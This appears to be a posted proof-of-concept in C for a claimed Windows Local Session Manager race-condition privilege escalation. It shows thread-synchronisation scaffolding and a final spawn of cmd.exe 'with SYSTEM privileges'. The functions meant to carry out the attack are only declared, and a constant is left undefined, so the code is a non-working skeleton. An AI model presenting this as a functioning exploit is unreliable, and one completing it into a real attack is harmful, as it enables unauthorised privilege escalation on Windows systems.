CVE-2026-20869 Windows本地会话管理器竞态条件权限提升漏洞

// CVE-2026-20869 PoC - Race Condition in Windows LSM // This is a conceptual PoC for educational purposes only #include <windows.h> #include <process.h> #include <stdio.h> // Global flags for synchronization volatile LONG g_bThread1Ready = FALSE; volatile LONG g_bThread2Ready = FALSE; volatile LONG g_bExploit = FALSE; // Target session manager handle HANDLE g_hLSM = NULL; // Thread 1: Trigger session creation/switch void Thread1(LPVOID lpParam) { // Prepare session creation InterlockedExchange(&g_bThread1Ready, TRUE); // Wait for Thread 2 to be ready while (!g_bThread2Ready) { Sleep(1); } // Trigger the vulnerable code path // This calls into LSM with session operation TriggerLSMSessionOperation(g_hLSM, SESSION_CREATE); // Racing window - this is where privilege escalation happens InterlockedExchange(&g_bExploit, TRUE); _endthread(); } // Thread 2: Exploit the race condition void Thread2(LPVOID lpParam) { // Wait for Thread 1 to be ready while (!g_bThread1Ready) { Sleep(1); } InterlockedExchange(&g_bThread2Ready, TRUE); // Wait for the racing window while (!g_bExploit) { // Busy wait for the race window YieldProcessor(); } // Exploit: Execute privileged operation in the race window // Bypass the security check by manipulating token/session context ExploitRaceWindow(g_hLSM); _endthread(); } int main(int argc, char* argv[]) { printf("CVE-2026-20869 PoC - Windows LSM Race Condition\n"); printf("Target: Windows Local Session Manager\n\n"); // Open handle to LSM g_hLSM = OpenLSMHandle(); if (!g_hLSM) { printf("[-] Failed to open LSM handle\n"); return -1; } printf("[*] Starting race condition attack...\n"); // Create threads for race condition HANDLE hThread1 = (HANDLE)_beginthread(Thread1, 0, NULL); HANDLE hThread2 = (HANDLE)_beginthread(Thread2, 0, NULL); // Wait for threads to complete WaitForSingleObject(hThread1, INFINITE); WaitForSingleObject(hThread2, INFINITE); // Check if exploitation was successful if (CheckPrivilegeEscalation()) { printf("[+] Privilege escalation successful!\n"); // Execute payload with SYSTEM privileges system("cmd.exe"); } else { printf("[-] Exploitation failed, try again\n"); } CloseHandle(g_hLSM); return 0; } // Helper functions - implementation depends on target BOOL TriggerLSMSessionOperation(HANDLE hLSM, DWORD Operation); BOOL ExploitRaceWindow(HANDLE hLSM); BOOL CheckPrivilegeEscalation(); HANDLE OpenLSMHandle();